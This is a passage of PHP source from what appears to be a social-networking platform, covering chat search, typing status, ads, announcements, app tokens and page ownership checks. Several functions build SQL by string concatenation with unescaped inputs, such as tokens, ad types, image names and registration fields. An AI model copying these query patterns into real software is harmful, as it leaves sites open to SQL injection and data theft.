    $query_text = "SELECT `user_id` FROM " . T_USERS . " WHERE `user_id` IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `following_id` <> {$user_id} AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$user_id}') AND `active` = '1')";
    if ($type == "online") {
        $query_text .= " AND `lastseen` > {$time}";
    } elseif ($type == "offline") {
        $query_text .= " AND `lastseen` < {$time}";
    }
    $query_text .= " AND `active` = '1' ORDER BY `lastseen` DESC";
    if ($type == "offline") {
        $query_text .= " LIMIT 6";
    }
    $query = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_ChatSearchUsers($search_query = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data         = array();
    $time         = time() - 60;
    $search_query = Wo_Secure($search_query);
    $user_id      = Wo_Secure($wo["user"]["user_id"]);
    $query_one    = "SELECT `user_id` FROM " . T_USERS . " WHERE (`user_id` IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `following_id` <> {$user_id} AND `active` = '1') AND `active` = '1'";
    if (isset($search_query) && !empty($search_query)) {
        $query_one .= " AND ((`username` LIKE '%$search_query%') OR CONCAT(`first_name`,  ' ', `last_name`) LIKE  '%{$search_query}%'))";
    }
    $query_one .= " ORDER BY `first_name` LIMIT 10";
    $query = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_UpdateStatus($status = "online") {
    global $sqlConnect, $wo, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($status)) {
        return false;
    }
    $finel_status = "";
    $user_id      = Wo_Secure($wo["user"]["user_id"]);
    if ($status == "online") {
        $finel_status = 0;
    } elseif ($status == "offline") {
        $finel_status = 1;
    }
    if (!is_numeric($finel_status)) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `status` = '{$finel_status}' WHERE `user_id` = {$user_id}");
    if ($query) {
        cache($user_id, 'users', 'delete');
        return $finel_status;
    }
}
function Wo_IsOnline($user_id) {
    global $wo;
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 1) {
        return false;
    }
    $user_id  = Wo_Secure($user_id);
    $lastseen = Wo_UserData($user_id);
    if ($wo["config"]["node_socket_flow"] == "1") {
        $time = time() - 03;
    } else {
        $time = time() - 60;
    }
    if ($lastseen["lastseen"] < $time) {
        return false;
    } else {
        return true;
    }
}
function Wo_RightToLeft($type = "") {
    global $wo;
    $type = Wo_Secure($type);
    if ($wo["language_type"] == "rtl") {
        if ($type == "pull-right") {
            return "pull-left";
        }
        if ($type == "pull-left") {
            return "pull-right";
        }
        if ($type == "left-addon") {
            return "right-addon";
        }
        if ($type == "text-right") {
            return "text-left";
        }
        if ($type == "text-left") {
            return "text-right";
        }
        if ($type == "right") {
            return "left";
        }
    } else {
        return $type;
    }
}
function Wo_GetOfflineTyping() {
    global $wo, $sqlConnect;
    $time      = time() - 360;
    $data      = array();
    $query     = "SELECT `user_id` FROM " . T_USERS . " WHERE `lastseen` < '{$time}' AND (`user_id` IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `is_typing` = 1))";
    $query_one = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            Wo_DeleteAllTyping($fetched_data["user_id"]);
        }
    }
}
function Wo_IsTyping($recipient_id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($recipient_id) || !is_numeric($recipient_id) || $recipient_id < 0) {
        return false;
    }
    $user_id      = Wo_Secure($wo["user"]["user_id"]);
    $recipient_id = Wo_Secure($recipient_id);
    $query        = "SELECT `is_typing` FROM " . T_FOLLOWERS . " WHERE follower_id = {$user_id} AND following_id = {$recipient_id} AND `is_typing` = 1";
    $query_one    = mysqli_query($sqlConnect, $query);
    return Wo_Sql_Result($query_one, 0) == 1 ? true : false;
}
function Wo_RegisterTyping($recipient_id, $isTyping = 1) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($recipient_id) || !is_numeric($recipient_id) || $recipient_id < 0) {
        return false;
    }
    $user_id      = Wo_Secure($wo["user"]["user_id"]);
    $recipient_id = Wo_Secure($recipient_id);
    $typing       = 1;
    if ($isTyping == 0) {
        $typing = 0;
    } elseif ($isTyping == 2) {
        $typing = 2;
    }
    if (Wo_IsFollowing($user_id, $recipient_id) === false) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "UPDATE " . T_FOLLOWERS . " SET `is_typing` = '$typing' WHERE following_id = '{$user_id}' AND follower_id = {$recipient_id}");
    if ($query) {
        return true;
    }
}
function Wo_DeleteAllTyping($user_id) {
    global $sqlConnect;
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    $query   = mysqli_query($sqlConnect, "UPDATE " . T_FOLLOWERS . " SET `is_typing` = 0 WHERE `following_id` = {$user_id}");
    if ($query) {
        return true;
    }
}
function Wo_UpdateAdsCode($update_data = array()) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    if (empty($update_data["type"])) {
        return false;
    }
    $type   = Wo_Secure($update_data["type"]);
    $update = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . mysqli_real_escape_string($sqlConnect, $data) . '\'';
    }
    $query_text    = implode(", ", $update);
    $query_one     = " UPDATE " . T_ADS . " SET {$query_text} WHERE `type` = '{$type}'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if ($sql_query_one) {
        return true;
    }
}
function Wo_GetAd($type, $admin = true) {
    global $sqlConnect;
    $type      = Wo_Secure($type);
    $query_one = "SELECT `code` FROM " . T_ADS . " WHERE `type` = '{$type}'";
    if ($admin === false) {
        $query_one .= " AND `active` = '1'";
    }
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        $fetched_data = mysqli_fetch_assoc($sql_query_one);
        return $fetched_data["code"];
    }
    return false;
}
function Wo_IsAdActive($type) {
    global $sqlConnect;
    $query_one     = "SELECT COUNT(`id`) AS `count` FROM " . T_ADS . " WHERE `type` = '{$type}' AND `active` = '1' ";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        $fetched_data = mysqli_fetch_assoc($sql_query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_UpdateAdActivation($type) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
        return false;
    }
    if (Wo_IsAdActive($type)) {
        $query_one = mysqli_query($sqlConnect, "UPDATE " . T_ADS . " SET `active` = '0' WHERE `type` = '{$type}'");
        return "inactive";
    } else {
        $query_one = mysqli_query($sqlConnect, "UPDATE " . T_ADS . " SET `active` = '1' WHERE `type` = '{$type}'");
        return "active";
    }
}
function Wo_AddNewAnnouncement($text) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $text    = mysqli_real_escape_string($sqlConnect, $text);
    if (Wo_IsAdmin($user_id) === false) {
        return false;
    }
    if (empty($text)) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "INSERT INTO " . T_ANNOUNCEMENT . " (`text`, `time`, `active`) VALUES ('{$text}', " . time() . ", '1')");
    if ($query) {
        return mysqli_insert_id($sqlConnect);
    }
}
function Wo_GetAnnouncement($id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $data    = array();
    if (empty($id) || !is_numeric($id) || $id < 1) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_ANNOUNCEMENT . " WHERE `id` = {$id} ORDER BY `id` DESC");
    if (mysqli_num_rows($query) == 1) {
        $fetched_data         = mysqli_fetch_assoc($query);
        $fetched_data["text"] = Wo_Markup($fetched_data["text"]);
        $fetched_data["text"] = Wo_Emo($fetched_data["text"]);
        return $fetched_data;
    }
    return false;
}
function Wo_GetAnnouncementViews($id) {
    global $sqlConnect, $wo;
    $id        = Wo_Secure($id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as `count` FROM " . T_ANNOUNCEMENT_VIEWS . " WHERE `announcement_id` = {$id}");
    if (mysqli_num_rows($query_one)) {
        $sql_query_one = mysqli_fetch_assoc($query_one);
        return $sql_query_one["count"];
    }
    return false;
}
function Wo_GetActiveAnnouncements() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $data    = array();
    if (Wo_IsAdmin($user_id) === false) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_ANNOUNCEMENT . " WHERE `active` = '1' ORDER BY `id` DESC");
    if (mysqli_num_rows($query)) {
        while ($row = mysqli_fetch_assoc($query)) {
            $data[] = Wo_GetAnnouncement($row["id"]);
        }
    }
    return $data;
}
function Wo_GetHomeAnnouncements() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $query   = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_ANNOUNCEMENT . " WHERE `active` = '1' AND `id` NOT IN (SELECT `announcement_id` FROM " . T_ANNOUNCEMENT_VIEWS . " WHERE `user_id` = {$user_id}) ORDER BY RAND() LIMIT 1");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        $data         = Wo_GetAnnouncement($fetched_data["id"]);
        return $data;
    }
    return false;
}
function Wo_GetInactiveAnnouncements() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $data    = array();
    if (Wo_IsAdmin($user_id) === false) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_ANNOUNCEMENT . " WHERE `active` = '0' ORDER BY `id` DESC");
    if (mysqli_num_rows($query)) {
        while ($row = mysqli_fetch_assoc($query)) {
            $data[] = Wo_GetAnnouncement($row["id"]);
        }
    }
    return $data;
}
function Wo_DeleteAnnouncement($id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (Wo_IsAdmin($user_id) === false) {
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_ANNOUNCEMENT . " WHERE `id` = {$id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_ANNOUNCEMENT_VIEWS . " WHERE `announcement_id` = {$id}");
    if ($query_one) {
        return true;
    }
}
function Wo_IsActiveAnnouncement($id) {
    global $sqlConnect;
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_ANNOUNCEMENT . " WHERE `id` = '{$id}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_IsViewedAnnouncement($id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_ANNOUNCEMENT_VIEWS . " WHERE `announcement_id` = '{$id}' AND `user_id` = '{$user_id}'");
    return Wo_Sql_Result($query, 0) > 0 ? true : false;
}
function Wo_IsThereAnnouncement() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_ANNOUNCEMENT . " WHERE `active` = '1' AND `id` NOT IN (SELECT `announcement_id` FROM " . T_ANNOUNCEMENT_VIEWS . " WHERE `user_id` = {$user_id})");
    if (mysqli_num_rows($query)) {
        $sql = mysqli_fetch_assoc($query);
        return $sql["count"] > 0 ? true : false;
    }
    return false;
}
function Wo_DisableAnnouncement($id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (Wo_IsAdmin($user_id) === false) {
        return false;
    }
    if (Wo_IsActiveAnnouncement($id) === false) {
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "UPDATE " . T_ANNOUNCEMENT . " SET `active` = '0' WHERE `id` = {$id}");
    if ($query_one) {
        return true;
    }
}
function Wo_ActivateAnnouncement($id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (Wo_IsAdmin($user_id) === false) {
        return false;
    }
    if (Wo_IsActiveAnnouncement($id) === true) {
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "UPDATE " . T_ANNOUNCEMENT . " SET `active` = '1' WHERE `id` = {$id}");
    if ($query_one) {
        return true;
    }
}
function Wo_UpdateAnnouncementViews($id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (Wo_IsActiveAnnouncement($id) === false) {
        return false;
    }
    if (Wo_IsViewedAnnouncement($id) === true) {
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_ANNOUNCEMENT_VIEWS . " (`user_id`, `announcement_id`) VALUES ('{$user_id}', '{$id}')");
    if ($query_one) {
        return true;
    }
}
function Wo_RegisterApp($registration_data) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($registration_data)) {
        return false;
    }
    if (empty($registration_data["app_user_id"]) || !is_numeric($registration_data["app_user_id"]) || $registration_data["app_user_id"] < 1) {
        return false;
    }
    $id_str                          = sha1($registration_data["app_user_id"] . microtime() . time());
    $registration_data["app_id"]     = Wo_Secure(substr($id_str, 0, 20));
    $secret_str                      = sha1($registration_data["app_user_id"] . Wo_GenerateKey(55, 55) . microtime());
    $registration_data["app_secret"] = Wo_Secure(substr($secret_str, 0, 39));
    if (empty($registration_data["app_secret"]) || empty($registration_data["app_id"])) {
        return false;
    }
    $fields = "`" . implode("`, `", array_keys($registration_data)) . "`";
    $data   = '\'' . implode('\', \'', $registration_data) . '\'';
    $query  = mysqli_query($sqlConnect, "INSERT INTO " . T_APPS . " ({$fields}) VALUES ({$data})");
    if ($query) {
        return mysqli_insert_id($sqlConnect);
    }
}
function Wo_IsAppOnwer($app_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $app_id    = Wo_Secure($app_id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as `count` FROM " . T_APPS . " WHERE `app_user_id` = {$user_id} AND `id` = {$app_id} AND `active` = '1'");
    if (mysqli_num_rows($query_one)) {
        $sql_query_one = mysqli_fetch_assoc($query_one);
        return $sql_query_one["count"] == 1 ? true : false;
    }
    return false;
}
function Wo_GetAppsData($placement = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data       = array();
    $user_id    = $wo["user"]["user_id"];
    $query_text = "SELECT `id` FROM " . T_APPS;
    if ($placement != "admin") {
        $query_text .= " WHERE `app_user_id` = {$user_id}";
    }
    $query_one = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            if (is_array($fetched_data)) {
                $data[] = Wo_GetApp($fetched_data["id"]);
            }
        }
    }
    return $data;
}
function Wo_GetApp($app_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($app_id) || !is_numeric($app_id) || $app_id < 1) {
        return false;
    }
    $app_id    = Wo_Secure($app_id);
    $query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_APPS . " WHERE `id` = {$app_id}");
    //if ($query_one) {
    if (mysqli_num_rows($query_one) == 1) {
        $sql_query_one               = mysqli_fetch_assoc($query_one);
        $sql_query_one["app_onwer"]  = Wo_UserData($sql_query_one["app_user_id"]);
        $sql_query_one["app_avatar"] = Wo_GetMedia($sql_query_one["app_avatar"]);
        return $sql_query_one;
    }
    //}
    return false;
}
function Wo_GetCode($code = "") {
    global $sqlConnect, $wo;
    if (empty($code)) {
        return false;
    }
    $code      = Wo_Secure($code);
    $query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_CODES . " WHERE `code` = '{$code}'");
    if (mysqli_num_rows($query_one)) {
        if (mysqli_num_rows($query_one) == 1) {
            $sql_query_one = mysqli_fetch_assoc($query_one);
            return $sql_query_one;
        }
    }
    return false;
}
function Wo_UpdateAppImage($app_id, $image) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($app_id) || !is_numeric($app_id) || $app_id < 0) {
        return false;
    }
    if (empty($image)) {
        return false;
    }
    $app_id    = Wo_Secure($app_id);
    $query_one = " UPDATE " . T_APPS . " SET `app_avatar` = '{$image}' WHERE `id` = {$app_id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($query) {
        return true;
    }
}
function Wo_UpdateAppData($app_id, $update_data) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($app_id) || !is_numeric($app_id) || $app_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $app_id = Wo_Secure($app_id);
    if (!Wo_IsAppOnwer($app_id) && !Wo_IsAdmin()) {
        return false;
    }
    $update = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data) . '\'';
    }
    $impload   = implode(", ", $update);
    $query_one = " UPDATE " . T_APPS . " SET {$impload} WHERE `id` = {$app_id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_GetIdFromAppID($app_id) {
    global $sqlConnect;
    if (empty($app_id)) {
        return false;
    }
    $app_id        = Wo_Secure($app_id);
    $query_one     = "SELECT `id` FROM " . T_APPS . " WHERE `app_id` = '{$app_id}'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["id"];
    }
    return false;
}
function Wo_AccessToken($app_id, $app_secret) {
    global $sqlConnect;
    if (empty($app_id)) {
        return false;
    }
    if (empty($app_secret)) {
        return false;
    }
    $app_id        = Wo_Secure($app_id);
    $app_secret    = Wo_Secure($app_secret);
    $query_one     = "SELECT `id` FROM " . T_APPS . " WHERE `app_id` = '{$app_id}' AND `app_secret` = '{$app_secret}'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        return true;
    } else {
        return false;
    }
}
function Wo_IsValidApp($app_id) {
    global $sqlConnect;
    if (empty($app_id)) {
        return false;
    }
    $app_id        = Wo_Secure($app_id);
    $query_one     = "SELECT `id` FROM " . T_APPS . " WHERE `app_id` = '{$app_id}'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        return true;
    }
    return false;
}
function Wo_VerifyAPIApii($app_id = "", $secret_id = "") {
    global $sqlConnect;
    if (empty($app_id) || empty($secret_id)) {
        return false;
    }
    $app_id        = Wo_Secure($app_id);
    $secret_id     = Wo_Secure($secret_id);
    $query_one     = "SELECT `id` FROM " . T_APPS . " WHERE `app_id` = '{$app_id}' AND `app_secret` = '$secret_id'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        return true;
    }
    return false;
}
function Wo_AppHasPermission($user_id, $app_id) {
    global $sqlConnect, $wo;
    if (empty($app_id)) {
        return false;
    }
    $app_id        = Wo_Secure($app_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_APPS_PERMISSION . " WHERE `app_id` = '{$app_id}' AND `user_id` = '{$user_id}'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) > 0) {
        return true;
    } else {
        return false;
    }
}
function Wo_AcceptPermissions($app_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $app_id  = Wo_Secure($app_id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (empty($app_id) || empty($user_id)) {
        return false;
    }
    $query_one     = "INSERT INTO " . T_APPS_PERMISSION . " (`user_id`,`app_id`) VALUES ('{$user_id}','{$app_id}')";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if ($sql_query_one) {
        return true;
    }
}
function Wo_GenrateToken($user_id, $app_id) {
    global $sqlConnect, $wo;
    $app_id  = Wo_Secure($app_id);
    $user_id = Wo_Secure($user_id);
    if (empty($app_id) || empty($user_id)) {
        return false;
    }
    $token     = Wo_GenerateKey(100, 100);
    $query_two = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_TOKENS . " WHERE `app_id` = {$app_id} AND `user_id` = {$user_id}");
    if (mysqli_num_rows($query_two) > 0) {
        $query_three = mysqli_query($sqlConnect, "DELETE FROM " . T_TOKENS . " WHERE `app_id` = {$app_id} AND `user_id` = {$user_id}");
    }
    $query_one     = "INSERT INTO " . T_TOKENS . " (`user_id`,`app_id`,`token`,`time`) VALUES ('{$user_id}','{$app_id}','{$token}','" . time() . "')";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if ($sql_query_one) {
        return $token;
    }
}
function Wo_GenrateCode($user_id, $app_id) {
    global $sqlConnect, $wo;
    $app_id  = Wo_Secure($app_id);
    $user_id = Wo_Secure($user_id);
    if (empty($app_id) || empty($user_id)) {
        return false;
    }
    $token     = Wo_GenerateKey(40, 40);
    $query_two = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_CODES . " WHERE `app_id` = {$app_id} AND `user_id` = {$user_id}");
    if (mysqli_num_rows($query_two) > 0) {
        $query_three = mysqli_query($sqlConnect, "DELETE FROM " . T_CODES . " WHERE `app_id` = {$app_id} AND `user_id` = {$user_id}");
    }
    $query_one     = "INSERT INTO " . T_CODES . " (`user_id`,`app_id`,`code`,`time`) VALUES ('{$user_id}','{$app_id}','{$token}','" . time() . "')";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if ($sql_query_one) {
        return $token;
    }
}
function Wo_UserIdFromToken($token = "") {
    global $sqlConnect, $wo;
    if (empty($token)) {
        return false;
    }
    $time          = time() - 3600;
    $query         = mysqli_query($sqlConnect, "DELETE FROM " . T_TOKENS . " WHERE `token` = '{$token}' AND `time` < $time");
    $query_one     = "SELECT `user_id` FROM " . T_TOKENS . " WHERE `token` = '{$token}' AND `time` > $time";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        if (mysqli_num_rows($sql_query_one) == 1) {
            $sql_query_two = mysqli_fetch_assoc($sql_query_one);
            return $sql_query_two["user_id"];
        } else {
            return false;
        }
    }
    return false;
}
function Wo_GetIdFromToken($token) {
    global $sqlConnect, $wo;
    if (empty($token)) {
        return false;
    }
    $query_one     = "SELECT `app_id` FROM " . T_TOKENS . " WHERE `token` = '{$token}'";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        if (mysqli_num_rows($sql_query_one) == 1) {
            $sql_query_two = mysqli_fetch_assoc($sql_query_one);
            return $sql_query_two["app_id"];
        } else {
            return false;
        }
    }
    return false;
}
function Wo_RegisterPage($registration_data = array()) {
    global $wo, $sqlConnect;
    if (empty($registration_data)) {
        return false;
    }
    if (!empty($registration_data["page_category"])) {
        if (!in_array($registration_data["page_category"], array_keys($wo["page_categories"]))) {
            $registration_data["page_category"] = 1;
        }
    }
    $registration_data["registered"] = date("n") . "/" . date("Y");
    $fields                          = "`" . implode("`, `", array_keys($registration_data)) . "`";
    $data                            = '\'' . implode('\', \'', $registration_data) . '\'';
    $query                           = mysqli_query($sqlConnect, "INSERT INTO " . T_PAGES . " ({$fields}) VALUES ({$data})");
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_GetMyPages($user_id = false, $limit = 0, $offset = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $limit_text = "";
    if (!empty($limit) && is_numeric($limit) && $limit > 0) {
        $limit      = Wo_Secure($limit);
        $limit_text = " LIMIT " . $limit;
    }
    $data    = array();
    $user_id = Wo_Secure($user_id);
    if (!$user_id || !is_numeric($user_id) || $user_id < 1) {
        $user_id = Wo_Secure($wo["user"]["user_id"]);
    }
    $offset_text = "";
    if (!empty($offset) && is_numeric($offset) && $offset > 0) {
        $offset      = Wo_Secure($offset);
        $offset_text = " AND `page_id` > " . $offset;
    }
    $query_text = "SELECT `page_id` FROM " . T_PAGES . "
                   WHERE (`user_id` = {$user_id} OR `page_id` IN (SELECT `page_id` FROM " . T_PAGE_ADMINS . "
                   WHERE `user_id` = {$user_id})) {$offset_text} {$limit_text}";
    $query_one  = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            if (is_array($fetched_data)) {
                $data[] = Wo_PageData($fetched_data["page_id"]);
            }
        }
    }
    return $data;
}
function Wo_GetMyPagesAPI($limit = 0, $offset = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data        = array();
    $user_id     = Wo_Secure($wo["user"]["user_id"]);
    $limit_query = "";
    if (!empty($limit)) {
        $limit       = Wo_Secure($limit);
        $limit_query = " LIMIT $limit";
    }
    $offset_query = "";
    if (!empty($offset)) {
        $offset       = Wo_Secure($offset);
        $offset_query = " `page_id` < $offset AND ";
    }
    $query_text = "SELECT `page_id` FROM " . T_PAGES . "
                   WHERE $offset_query (`user_id` = {$user_id} OR `page_id` IN (SELECT `page_id` FROM " . T_PAGE_ADMINS . "
                   WHERE `user_id` = {$user_id})) ORDER BY `page_id` DESC $limit_query";
    $query_one  = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            if (is_array($fetched_data)) {
                $data[] = Wo_PageData($fetched_data["page_id"]);
            }
        }
    }
    return $data;
}
function Wo_IsPageOnwer($page_id,$with_admin = true) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    if ($with_admin) {
        if (Wo_IsAdmin() || Wo_IsModerator()) {
            return true;
        }
    } 
    $query = mysqli_query($sqlConnect, " SELECT COUNT(`user_id`) FROM " . T_PAGES . " WHERE `page_id` = {$page_id} AND `user_id` = {$user_id} AND `active` = '1'");
    return Wo_Sql_Result($query, "0") == 1 || Wo_IsPageAdminExists($user_id, $page_id) ? true : false;
}
function Wo_IsCanGroupUpdate($group_id, $page) {
    global $sqlConnect, $wo;
    $array = array(
        "general",
        "privacy",
        "avatar",
        "members",
        "analytics",
        "delete_group"
    );
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 0 || empty($page) || !in_array($page, $array)) {
        return false;
    }
    if (Wo_IsAdmin() || Wo_IsModerator()) {
        return true;
    }
    $user_id  = $wo["user"]["id"];
    $page     = Wo_Secure($page);
    $group_id = Wo_Secure($group_id);
    $query    = mysqli_query($sqlConnect, " SELECT COUNT(*) FROM " . T_GROUP_ADMINS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user_id} AND `{$page}` = '1'");
    return Wo_Sql_Result($query, "0") == 1 ? true : false;
}
function Wo_GetAllowedGroupPages($group_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 0) {
        return false;
    }
    $array    = array(
        "general" => "general-setting",
        "privacy" => "privacy-setting",
        "avatar" => "avatar-setting",
        "members" => "group-members",
        "analytics" => "analytics",
        "delete_group" => "delete-group"
    );
    $data     = array();
    $user_id  = $wo["user"]["id"];
    $group_id = Wo_Secure($group_id);
    $query    = mysqli_query($sqlConnect, " SELECT * FROM " . T_GROUP_ADMINS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user_id}");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if (!empty($fetched_data)) {
            foreach ($fetched_data as $key => $value) {
                if (in_array($key, array_keys($array)) && $value == 1) {
                    $data[] = $array[$key];
                }
